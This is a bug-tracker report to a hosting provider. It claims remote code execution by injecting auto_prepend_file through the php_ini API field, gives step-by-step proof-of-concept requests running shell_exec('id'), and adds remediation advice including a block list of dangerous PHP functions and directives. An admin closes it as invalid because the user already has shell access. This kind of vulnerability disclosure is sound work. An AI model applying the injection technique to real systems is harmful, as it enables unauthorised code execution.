Security vulnerabilities

  • Status Closed
  • Assigned To
    cbay
  • Private
Attached to Project: Security vulnerabilities
Opened by saini - 14.07.2026
Last edited by cbay - 15.07.2026

FS#410 - Unrestricted PHP ini Directive Injection via php_ini field leads to Remote Code Execution (RCE)

TITLE: Unrestricted PHP ini Directive Injection via `php_ini` field leads to

     Remote Code Execution (RCE)

MODULE: Site Management (API)

SEVERITY: CRITICAL (CVSS 3.1: 9.8)

SUMMARY

The `php_ini` field in the Site Management API (PATCH /v1/site/{id}/) accepts
arbitrary PHP ini directives with NO validation or sanitization. An attacker
with API access can inject directives such as `auto_prepend_file` to execute
arbitrary PHP code on every PHP page request.

Additionally:
- `open_basedir` is NOT set (no filesystem restriction)
- `shell_exec()`, `exec()`, `system()`, `passthru()` are NOT disabled
- The PHP configuration applies immediately without a restart
- PHP-FPM runs as the authenticated user (uid=534062, saini)

This allows an authenticated attacker to achieve FULL remote code execution
on the server, running system commands as the account user, reading/writing
any file the user has access to, and installing persistent backdoors.

STEPS TO REPRODUCE

Prerequisites:
- A valid alwaysdata API token with account access
- An existing PHP site (site_id known)
- SSH/FTP access to write a PHP file (or existing PHP file in DocumentRoot)

Step 1: Verify the site accepts PHP execution

Access any PHP file in the DocumentRoot:

GET /info.php HTTP/1.1
Host: victim.alwaysdata.net
Response: 200 OK
MAIN_SCRIPT_EXECUTED

PHP execution is confirmed.

Step 2: Create a PHP prepend file that executes a system command

Write a file (e.g., via SSH or FTP) to the account's home directory:

File: /home/{account}/www/cmd_prepend.php
Content:
  <?php echo "CMD:" . shell_exec("id 2>&1") . "|";

Step 3: Inject auto_prepend_file via the php_ini field

Request:

PATCH /v1/site/1060051/ HTTP/2
Host: api.alwaysdata.com
Authorization: Basic <base64-encoded-credentials>
Content-Type: application/json
alwaysdata-synchronous: 1
Accept: application/json
{"php_ini":"auto_prepend_file = /home/saini/www/cmd_prepend.php"}

Response: 204 No Content

The directive is accepted verbatim with NO validation.

Step 4: Access any PHP page to trigger code execution

Request:

GET /info.php HTTP/1.1
Host: victim.alwaysdata.net
Accept: text/html

Response: 200 OK

CMD:uid=534062(saini) gid=489542(saini) groups=489542(saini)|MAIN_SCRIPT_EXECUTED

The PHP ini directive was applied and the system command `id` executed
successfully, returning the user and group IDs. This confirms arbitrary
code execution on the server.

Step 5: Restore original configuration

Request:

PATCH /v1/site/1060051/ HTTP/2
Host: api.alwaysdata.com
Authorization: Basic <base64-encoded-credentials>
Content-Type: application/json
alwaysdata-synchronous: 1
Accept: application/json
{"php_ini":""}

Response: 204 No Content

ADDITIONAL TESTS AND FINDINGS

Test A: Verify no open_basedir restriction

A PHP script was executed to check security restrictions:

Output:
  /tmp: WRITABLE | READABLE
  /: NOT_WRITABLE | READABLE
  CWD: /home/saini/www
  USER: saini
  TMP: /home/saini/admin/tmp
  OPEN_BASEDIR:                    ↠EMPTY - NO RESTRICTION
  DOCROOT: /home/saini/www/

No open_basedir is configured, allowing PHP to access any path the user
has filesystem permissions for.

Test B: Verify dangerous functions are not disabled

All of the following functions were confirmed working:

  1. shell_exec() → executes system commands
  2. exec() → executes system commands
  3. system() → executes system commands
  4. passthru() → executes system commands
  5. file_get_contents() → reads any file
  6. file_put_contents() → writes to any writable path
  7. popen() → executes system commands
  8. proc_open() → executes system commands

Test C: The php_ini directive takes effect immediately

No server restart or PHP-FPM reload was required. The directive was applied
and reflected in the very next HTTP request.

Test D: auto_prepend works from any path accessible to PHP


The auto_prepend_file directive was tested with files in multiple locations:

  1. /home/{account}/www/prepend.php → WORKS
  2. Absolute paths are resolved correctly

IMPACT

An attacker with API access can achieve FULL REMOTE CODE EXECUTION on the
alwaysdata shared hosting server, with the following capabilities:

1. EXECUTE ARBITRARY SYSTEM COMMANDS

  1. Run any shell command as the account user
  2. Install backdoors, malware, cryptominers
  3. Launch attacks against internal network services

2. READ/WRITE ANY FILE

  1. Read database configuration files, credentials
  2. Modify existing PHP files to include persistent backdoors
  3. Access other users' files if permissions allow
  4. Read application source code and secrets

3. PERSISTENT ACCESS

  1. Create new PHP files in the web directory
  2. Modify .htaccess or Apache configuration
  3. Set up cron jobs or other persistence mechanisms
  4. Exfiltrate data to external servers

4. PIVOT TO INTERNAL SERVICES

  1. Access MySQL/MariaDB, PostgreSQL, Redis, or other local services
  2. Read local network configuration
  3. Potentially access cloud metadata endpoints (169.254.169.254)

5. COMBINATION WITH PATH TRAVERSAL

  1. When combined with the path traversal vulnerability (ALW-SITE-002),

the attacker can set DocumentRoot to / and execute PHP code at the

   same time, amplifying the attack surface significantly.

CVSS 3.1 SCORE

CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H

Base Score: 9.8 (CRITICAL)

Attack Vector: Network (AV:N) - Exploitable remotely via API Attack Complexity: Low (AC:L) - Simple PATCH request
Privileges: Low (PR:L) - Requires valid API token
User Interaction: None (UI:N) - No victim action needed
Scope: Unchanged (S:U) - Within account boundaries
Confidentiality: High (C:H) - Read any file, execute commands
Integrity: High (I:H) - Write/modify any file
Availability: High (A:H) - Can delete files, disrupt service

Note: Scope is "Unchanged" because the execution runs as the authenticated
user. If the attacker can read other users' data (cross-tenant), Scope
would be "Changed" and score would increase to 10.0 (CRITICAL).

REMEDIATION RECOMMENDATION

1. IMPLEMENT DIRECTIVE ALLOWLIST

  1. Only allow safe PHP ini directives such as:
    1. memory_limit, upload_max_filesize, post_max_size
    2. max_execution_time, max_input_time
    3. date.timezone, error_reporting
  2. Block dangerous directives:
    1. auto_prepend_file, auto_append_file
    2. disable_functions, disable_classes
    3. open_basedir, allow_url_include
    4. extension_dir, extension
    5. error_log (to prevent log injection)

2. ENFORCE OPEN_BASEDIR

  1. Always set open_basedir to restrict PHP to the account's home

directory, preventing access to system files and other users' data.

3. DISABLE DANGEROUS FUNCTIONS AT THE PHP-FPM POOL LEVEL

  1. Add disable_functions = shell_exec, exec, system, passthru, popen,

proc_open, pcntl_exec to the account's PHP-FPM pool configuration.

  1. This should NOT be overridable through the php_ini field.

4. INPUT VALIDATION

  1. Validate that the php_ini field only contains approved directives.
  2. Reject any input containing "=" assignments for unapproved directives.
  3. Parse the input server-side and apply only allowed values.

5. SERVER-LEVEL FIX (DEFENSE IN DEPTH)

  1. In the PHP-FPM pool configuration, set:

php_admin_value[auto_prepend_file] = none

   php_admin_value[open_basedir] = /home/{account}/
 - php_admin_value directives CANNOT be overridden by user-level ini
   directives, providing a secure baseline.
Closed by  cbay
15.07.2026 07:41
Reason for closing:  Invalid
Admin
cbay commented on 15.07.2026 07:41

Hello,

PHP runs as your own user and you have a full SSH access anyway, so you can already run any command you want.

Kind regards,
Cyril

Loading...

Available keyboard shortcuts

Tasklist

Task Details

Task Editing